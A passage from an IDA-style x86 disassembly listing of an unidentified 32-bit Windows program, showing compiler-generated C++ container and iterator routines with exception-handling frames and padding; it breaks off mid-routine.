		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0
		call	sub_4017EE
		test	eax, eax
		jz	loc_414CC7
		lea	ecx, [esp+4]
		mov	dword ptr [esp+8], 0
		call	sub_401037
		add	esi, 60h
		lea	eax, [esp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_401992
		mov	ecx, [eax]
		lea	edx, [esp+0Ch]
		mov	[esp+4], ecx
		push	edx
		mov	ecx, esi
		call	sub_402257
		push	eax
		lea	ecx, [esp+8]
		call	sub_401AEB
		test	al, al
		jz	short loc_414C7F


loc_414C34:				; CODE XREF: ___:00414C7Dj
		lea	eax, [esp+20h]
		lea	ecx, [esp+4]
		push	eax
		call	sub_4011D1
		mov	ecx, [eax]
		call	sub_401B86
		test	eax, eax
		jnz	short loc_414C5C
		lea	ecx, [esp+4]
		call	sub_4011D1
		mov	ecx, [eax]
		mov	[esp+8], ecx


loc_414C5C:				; CODE XREF: ___:00414C4Bj
		lea	ecx, [esp+4]
		call	sub_4018C5
		lea	edx, [esp+0Ch]
		mov	ecx, esi
		push	edx
		call	sub_402257
		push	eax
		lea	ecx, [esp+8]
		call	sub_401AEB
		test	al, al
		jnz	short loc_414C34


loc_414C7F:				; CODE XREF: ___:00414C32j
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_414CC7
		lea	eax, [esp+8]
		mov	ecx, esi
		push	eax
		call	sub_401154
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_414CA2
		push	1
		call	sub_4011C7
; ---------------------------------------------------------------------------


loc_414CA2:				; CODE XREF: ___:00414C99j
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+0Ch]
		mov	large fs:0, ecx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------


loc_414CC7:				; CODE XREF: ___:00414BEEj
					; ___:00414C85j
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+10h]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414D40	proc near		; CODE XREF: sub_4011C7j
		push	esi
		mov	esi, ecx
		call	sub_401B59
sub_414D40	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_414D58
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_414D58:				; CODE XREF: ___:00414D4Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414D70	proc near		; CODE XREF: sub_401B59j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414D70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+54h]
		mov	[esp+14h+var_4], 3
		call	sub_401582
sub_414D70	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+10h], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414E10	proc near		; CODE XREF: sub_4014C9j

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_414E10
		push	eax
		mov	large fs:0, esp
		sub	esp, 40h
		push	ebx
		push	esi
		mov	esi, [esp+54h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+32h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_414F0B
		sub	esp, 18h
		lea	eax, [esi+15h]
		mov	ecx, esp
		mov	[esp+70h+arg_0], esp
		push	eax
		call	sub_4014D3
		sub	esp, 18h
		mov	[esp+88h+var_4], 0
		mov	ecx, esp
		mov	[esp+88h+var_4C], esp
		push	offset byte_448F30
		call	sub_401870
		or	ebx, 0FFFFFFFFh
		mov	ecx, offset word_44AC5E
		mov	[esp+88h+var_4], ebx
		call	sub_40212B
		test	al, al
		jz	loc_415040
		push	0
		push	5
		push	19h
		push	2
		push	4
		push	0Fh
		push	0Fh
		lea	ecx, [esp+74h+var_3C]
		push	21h
		push	ecx
		call	sub_4019C4
		add	esp, 24h
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+58h+var_4], 1
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+58h+var_3C]
		mov	[esp+58h+var_4], ebx
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+58h+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 4Ch
		retn	4
; ---------------------------------------------------------------------------


loc_414F0B:				; CODE XREF: sub_414E10+36j
		lea	ecx, [edi+4]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_415040
		sub	esp, 18h
		lea	edx, [esi+54h]
		mov	ecx, esp
		mov	[esp+70h+arg_0], esp
		push	edx
		call	sub_4014D3
		sub	esp, 18h
		lea	eax, [esi+3Fh]
		mov	ecx, esp
		mov	[esp+88h+var_4C], esp
		push	eax
		mov	[esp+8Ch+var_4], 2
		call	sub_4014D3
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+0A0h+var_48], esp
		push	edx
		mov	byte ptr [esp+0A4h+var_4], 3
		call	sub_4014D3
		sub	esp, 18h
		mov	ecx, esi
		mov	eax, esp
		mov	[esp+0B8h+var_44], esp
		push	1
		push	offset asc_444600 ; " "
		push	2
		push	eax
		mov	byte ptr [esp+0C8h+var_4], 4
		call	sub_4011EA
		sub	esp, 18h
		mov	byte ptr [esp+0D0h+var_4], 5
		mov	ecx, esp
		mov	[esp+0D0h+var_40], esp
		push	1
		push	offset asc_444600 ; " "
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		or	ebx, 0FFFFFFFFh
		mov	ecx, offset word_44AC5E
		mov	[esp+0D0h+var_4], ebx
		call	sub_4018AC
		test	al, al
		jz	short loc_415040
		push	0
		push	4
		push	5
		push	14h
		push	10h
		push	5
		push	3
		push	3
		lea	edx, [esp+78h+var_24]
		push	1Bh
		push	edx
		call	sub_4019C4
		add	esp, 28h
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+58h+var_4], 6
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+58h+var_24]
		mov	[esp+58h+var_4], ebx
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+58h+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 4Ch
		retn	4
; ---------------------------------------------------------------------------


loc_415040:				; CODE XREF: sub_414E10+82j
					; sub_414E10+10Dj ...
		mov	ecx, [esp+58h+var_C]
		pop	edi
		pop	esi
		xor	al, al
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 4Ch
		retn	4
sub_414E10	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415100	proc near		; CODE XREF: sub_40132Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401ED8
sub_415100	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415140	proc near		; CODE XREF: sub_401726j

arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	esi, ecx
		push	0
		push	0
		mov	al, [edi]
		mov	[esi], al
		call	sub_401ED8
sub_415140	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esi+4], eax
		push	ecx
		mov	ecx, edi
		mov	dword ptr [esi+8], 0
		call	sub_4016D6
		mov	edx, [eax]
		lea	eax, [esp+8]
		push	edx
		push	eax
		mov	ecx, edi
		call	sub_40113B
		mov	ecx, [eax]
		lea	edx, [esp+10h]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		mov	ecx, esi
		push	eax
		call	sub_401735
		mov	eax, esi
		pop	edi
		pop	esi
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4151C0	proc near		; CODE XREF: sub_401582j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401D9D
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40146F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401CE9
sub_4151C0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415230	proc near		; CODE XREF: sub_4012E9j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_4020A9
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401DBB
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_415230	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415270	proc near		; CODE XREF: sub_401D9Dj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401DBB
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_415270	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4152A0	proc near		; CODE XREF: sub_401488j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401D9D
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40217B
sub_4152A0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4152E0	proc near		; CODE XREF: sub_401258j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_4]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401D9D
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		lea	ecx, [esp+10h+var_8]
		push	ecx
		lea	ecx, [esp+14h+var_C]
		mov	[esp+14h+var_C], eax
		call	sub_401D70
		test	al, al
		jz	short loc_41536D
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_41531F:				; CODE XREF: sub_4152E0+8Aj
		lea	ecx, [esp+14h+var_C]
		call	sub_401FC3
		mov	edx, [eax]
		mov	eax, [edi]
		cmp	edx, eax
		jnz	short loc_415351
		lea	eax, [esp+14h+arg_0]
		push	0
		push	eax
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401578
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_4]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401FCD
; ---------------------------------------------------------------------------
		jmp	short loc_41535A
; ---------------------------------------------------------------------------


loc_415351:				; CODE XREF: sub_4152E0+4Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_4020C2


loc_41535A:				; CODE XREF: sub_4152E0+6Fj
		lea	eax, [esp+14h+var_8]
		lea	ecx, [esp+14h+var_C]
		push	eax
		call	sub_401D70
		test	al, al
		jnz	short loc_41531F
		pop	edi


loc_41536D:				; CODE XREF: sub_4152E0+38j
		pop	esi
		add	esp, 0Ch
		retn	4
sub_4152E0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4153B0	proc near		; CODE XREF: sub_401E38j
		push	esi
		mov	esi, ecx
		call	sub_401ED3
		mov	eax, esi
		pop	esi
		retn
sub_4153B0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4153D0	proc near		; CODE XREF: sub_401FC3j
		mov	eax, [ecx]
		push	eax
		call	sub_401F19
		add	esp, 4
		retn
sub_4153D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4153F0	proc near		; CODE XREF: sub_4020C2j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4020A9
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_4153F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415420	proc near		; CODE XREF: sub_401D70j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4015D7
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415420	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415450	proc near		; CODE XREF: sub_401F23j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401C8F
sub_415450	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415490	proc near		; CODE XREF: sub_4011B8j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402257
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401992
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40132F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401E33
sub_415490	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415500	proc near		; CODE XREF: sub_401992j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_401249
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401CDA
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_415500	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415540	proc near		; CODE XREF: sub_402257j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401CDA
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_415540	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415570	proc near		; CODE XREF: sub_401F0Fj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_402257
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401AAA
sub_415570	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4155B0	proc near		; CODE XREF: sub_401933j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402257
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401992
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40132F
		pop	esi
		add	esp, 0Ch
		retn
sub_4155B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415600	proc near		; CODE XREF: sub_401154j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_4]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402257
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_401992
		mov	eax, [eax]
		lea	ecx, [esp+10h+var_8]
		push	ecx
		lea	ecx, [esp+14h+var_C]
		mov	[esp+14h+var_C], eax
		call	sub_401AEB
		test	al, al
		jz	short loc_41568D
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_41563F:				; CODE XREF: sub_415600+8Aj
		lea	ecx, [esp+14h+var_C]
		call	sub_4011D1
		mov	edx, [eax]
		mov	eax, [edi]
		cmp	edx, eax
		jnz	short loc_415671
		lea	eax, [esp+14h+arg_0]
		push	0
		push	eax
		lea	ecx, [esp+1Ch+var_C]
		call	sub_4010DC
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_4]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4017E9
; ---------------------------------------------------------------------------
		jmp	short loc_41567A
; ---------------------------------------------------------------------------


loc_415671:				; CODE XREF: sub_415600+4Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_4018C5


loc_41567A:				; CODE XREF: sub_415600+6Fj
		lea	eax, [esp+14h+var_8]
		lea	ecx, [esp+14h+var_C]
		push	eax
		call	sub_401AEB
		test	al, al
		jnz	short loc_41563F
		pop	edi


loc_41568D:				; CODE XREF: sub_415600+38j
		pop	esi
		add	esp, 0Ch
		retn	4
sub_415600	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4156D0	proc near		; CODE XREF: sub_401037j
		push	esi
		mov	esi, ecx
		call	sub_401E97
		mov	eax, esi
		pop	esi
		retn
sub_4156D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4156F0	proc near		; CODE XREF: sub_4011D1j
		mov	eax, [ecx]
		push	eax
		call	sub_402144
		add	esp, 4
		retn
sub_4156F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415710	proc near		; CODE XREF: sub_4018C5j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401249
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_415710	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415740	proc near		; CODE XREF: sub_401AEBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401EC4
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415740	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415770	proc near		; CODE XREF: sub_401852j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401DB6
sub_415770	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4157B0	proc near		; CODE XREF: sub_4014BFj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401901
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40140B
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401F14
sub_4157B0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415820	proc near		; CODE XREF: sub_401901j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_401BCC
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401D7A
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_415820	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415860	proc near		; CODE XREF: sub_40114Aj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401D7A
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_415860	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415890	proc near		; CODE XREF: sub_401410j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_40114A
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401D11
sub_415890	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4158D0	proc near		; CODE XREF: sub_401C76j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401901
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40140B
		pop	esi
		add	esp, 0Ch
		retn
sub_4158D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415920	proc near		; CODE XREF: sub_40214Ej

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_4]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_401901
		mov	eax, [eax]
		lea	ecx, [esp+10h+var_8]
		push	ecx
		lea	ecx, [esp+14h+var_C]
		mov	[esp+14h+var_C], eax
		call	sub_401339
		test	al, al
		jz	short loc_4159AD
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_41595F:				; CODE XREF: sub_415920+8Aj
		lea	ecx, [esp+14h+var_C]
		call	sub_40135C
		mov	edx, [eax]
		mov	eax, [edi]
		cmp	edx, eax
		jnz	short loc_415991
		lea	eax, [esp+14h+arg_0]
		push	0
		push	eax
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401EBF
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_4]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401078
; ---------------------------------------------------------------------------
		jmp	short loc_41599A
; ---------------------------------------------------------------------------


loc_415991:				; CODE XREF: sub_415920+4Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_40118B


loc_41599A:				; CODE XREF: sub_415920+6Fj
		lea	eax, [esp+14h+var_8]
		lea	ecx, [esp+14h+var_C]
		push	eax
		call	sub_401339
		test	al, al
		jnz	short loc_41595F
		pop	edi


loc_4159AD:				; CODE XREF: sub_415920+38j
		pop	esi
		add	esp, 0Ch
		retn	4
sub_415920	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4159F0	proc near		; CODE XREF: sub_402275j
		push	esi
		mov	esi, ecx
		call	sub_401E42
		mov	eax, esi
		pop	esi
		retn
sub_4159F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415A10	proc near		; CODE XREF: sub_40135Cj
		mov	eax, [ecx]
		push	eax
		call	sub_4017E4
		add	esp, 4
		retn
sub_415A10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415A30	proc near		; CODE XREF: sub_40118Bj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401BCC
		mov	ecx, [eax]
